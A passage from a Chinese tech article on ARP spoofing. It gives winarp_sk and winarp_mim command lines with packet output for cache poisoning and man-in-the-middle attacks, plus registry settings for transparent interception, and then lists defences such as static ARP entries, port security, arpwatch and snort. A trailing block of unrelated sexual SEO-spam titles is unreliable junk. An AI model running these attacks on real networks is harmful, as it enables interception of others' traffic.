winarp_sk.exe -m 2 -s 192.168.1.1 -d 192.168.1.10

+ ETH - Destination MAC : 00-10-B5-AC-1D-00

+ ETH - Source MAC      : 00-60-08-DE-64-F0

+ ARP - ARP Reply

+ ARP - Sender MAC address : 00-60-08-DE-64-F0

+ ARP - Sender IP address  : 192.168.1.1

+ ARP - Target MAC address : 00-10-B5-AC-1D-00

+ ARP - Target IP address  : 192.168.1.10

這個例子中發送一個Arp-relay的數據包,欺騙192.168.1.10,使其ARP中毒,認為192.168.1.1的MAC地址為:00-10-B5-AC-1D-00。對于win 9x/2K操作系統,這是非常簡單的中毒更新攻擊。

舉例二:

winarp_sk -m 1 -s 192.168.1.1 -d 192.168.1.11

+ ETH - Destination MAC : 00-A0-C9-41-DB-1B

+ ETH - Source MAC      : 00-60-08-DE-64-F0

+ ARP - ARP Request

+ ARP - Sender MAC address : 00-60-08-DE-64-F0

+ ARP - Sender IP address  : 192.168.1.1

+ ARP - Target MAC address : 00-A0-C9-41-DB-1B

+ ARP - Target IP address  : 192.168.1.11

這也是ARP中毒更新的具體實例,可以有效的攻擊Linux/Win XP(或其他系統)。

Winarp_mim小工具則顧名思義,mim是中間人攻擊的英文縮寫,用其可方便實現。但是使用之前,必須預先安裝wincap驅動包。其工作方式分三步實現:

1、分別對目標主機A和B發送ARP-request數據包。對目標A發送目標B的IP地址和攻擊者主機的MAC地址,反之對目標B發送目標A的IP地址和攻擊者的MAC地址。

2、對A和B中使用大量偽造的ARP欺騙包使其緩存保持虛假信息。

4、 攻擊終止,必須還原主機A/B中的真實IP/MAC綁定地址,避免因攻擊結束而造成A/B間無法通信的現象。

winarp_mim.exe -a target_a_ip -b target_b_ip 
                  
 [-t delay] [-c count] [-v]

-a: 目標主機A的IP地址。

-b: 目標主機B的IP地址。

-c: 設置發送ARP包的數目。    

默認情況是不斷發送,直到按任意鍵停止發送。

-t: 發送包的時間間隔,以毫秒為單位。默認情況是2000毫秒。

-h: 幫助命令。

-v: 發送包過程中的信息顯示開關。

注意:

假如攻擊主機使用IP路由功能,MIM攻擊才能透明的進行。

Windows系統中激活路由功能的方法:

1- Windows NT :在 TCP/IP 控制面版中進行配置

2- Windows 2000 : 修改或者創建如下鍵值

SYSTEM\CurrentControlSet\Services\Tcpip\Parameters 

設置鍵IPEnableRouter=1

3- Windows 9x : 修改或者創建如下鍵值

\HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Vxd\Mstcp\

設置鍵EnableRouting=1,其字符類型為string

(注意: "EnableRouting" 是區分大小寫)

分析了目前比較流行的ARP攻擊方式,是否有種大汗淋漓的恐慌呢?如何面對這種殘酷戰爭?如何才能讓自己暫時安全?下面的建議興許能提供一些庇護措施。#p#

五、 安全防御建議

對于局域網絡的欺騙攻擊隱秘性的攻擊行為,如何才能保證信息的相對安全和隱私權的私屬性呢?經過ARP欺騙攻擊行為的分析,如下措施可以較好的抵御這種可恥的偷竊行為。

1、 在本地計算機使用靜態ARP映像記錄,特別本地網關記錄應該是靜態的。使用arp -s添加靜態映射列表。抑制ARP的幻存中毒更新。(但對于大型網絡,維護這樣的MAC/IP表使非常困難的,如果某臺機器的網卡壞了,調整MAC/IP的映射是及其煩瑣的)

2、 使用反向ARP解析,找出同一MAC地址IP的來源(即使用RARP反向解析MAC為IP地址)。

3、 在交換機中使用Port/Mac的綁定功能,比如使能Port Security特性,每個端口只允許一個MAC映射,防止多個MAC地址對一個交換端口的映射,從而減少嗅嘆的可能性。

4、使用ARPWATCH工具監測IP/MAC地址表的變化。其記錄日志于/var/log/messages,形式為:

Sep 1 16:26:04 hostB arpwatch: changed ethernet address 192.168.1.3

04.04.04.04.04.04 (03.03.03.03.03.03)
 

表示MAC從原來的03.03.03.03.03.03變更為04.04.04.04.04.04,這意味著ARP攻擊的征兆,需要引起高度注意。

5、 避免使用DHCP服務器進行網絡的動態分址管理,因為在這樣的環境中使用ARP欺騙攻擊是很難被發現的。

6、 在基于安全會話的通信過程中,不要使用有安全漏洞的軟件。

7、 安裝snort入侵檢測系統,通過使用arp欺騙預處理器偵測欺騙行為并發送郵件警告通知arp/ip的改變。

8、尋找Arp攻擊主機,以Redhat為例:

nmap -sP {your local network}

arp -an | awk '{print $2 $4}' | sort | uniq -c | grep -v '1'

在DNS記錄中查看其主機地址找出攻擊者,制止攻擊行為。

六、 小結

使用ARP協議漏洞所產生的攻擊方式是非常隱蔽的,這種攻擊所造成的危害卻是非常巨大的,任何在網絡流通的數據資料將被攻擊者一覽無余,而受害者卻可能根本不知道自己已經受到了嚴重的窺視。由于協議而使網絡本身具有的脆弱性,因此在時刻警惕網絡的同時,最全面的做法在于改進協議的安全特性并不斷提高人的修養素質,使網絡的文明升級為一個資源共享,信息自由和尊重隱私的時代    

【編輯推薦】

  1. 專題:ARP攻擊防范與解決方案
  2. 關于ARP攻擊的防護措施
責任編輯:許鳳麗 來源: 博客
相關推薦

2023-11-27 17:03:45

syncGo

2013-04-23 09:15:59

Windows 8.1

2022-02-28 19:32:27

I/O磁盤

2011-03-02 15:10:43

國產數據庫

2015-06-04 16:35:00

2015-01-19 09:13:39

CloudStack云計算架構虛擬機管理

2011-05-06 15:28:00

SMB數據中心

2009-09-29 11:23:53

互聯網

2013-07-16 14:36:43

天河2號超級計算機國防科技大學

2019-04-30 10:08:22

Windows 功能系統

2018-03-05 08:56:10

物聯網無線通信終端設備

2017-09-19 12:08:13

Google

2021-08-15 19:00:14

算法floydDijkstra

2019-10-29 09:18:19

量子芯片網絡

2023-11-29 11:28:21

智能視覺

2011-07-20 11:01:39

2016-09-29 10:27:42

天云軟件Docker容器

2022-03-21 18:27:38

Linux計算機函數

2011-04-06 10:23:46

2021-12-12 09:20:43

Windows 11任務欄微軟
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 免费在线成人 | 亚洲性网 | www.欧美.com| 亚洲一二三区精品 | 国产成人精品免费视频大全最热 | 久久亚洲一区 | 国产日韩欧美 | 亚洲第一中文字幕 | 精品久久久久久 | 97国产在线观看 | 欧美日韩在线免费观看 | 国产成人综合网 | 久久精彩视频 | 伊人最新网址 | 日韩免费一区二区 | 日本一区精品 | 黄色一级网 | 9191在线观看 | 国产黄色在线 | 久久久黑人 | 成年人的视频免费观看 | 久久综合狠狠综合久久综合88 | 天天看天天摸天天操 | 亚洲图片视频一区 | 国产福利一区二区 | 亚洲精品久久久久久久不卡四虎 | 欧美美女二区 | 亚洲精品久久久一区二区三区 | 国产97人人超碰caoprom | 亚州春色 | 亚洲日本免费 | 久久精品久久久 | 在线播放中文字幕 | 精品欧美一区二区久久久伦 | 欧美一区二区三区电影 | 中文字幕在线免费 | 国产精品一区二区精品 | 一区二区免费在线 | 一区二区三区免费 | 久久首页| 99精品国产一区二区三区 |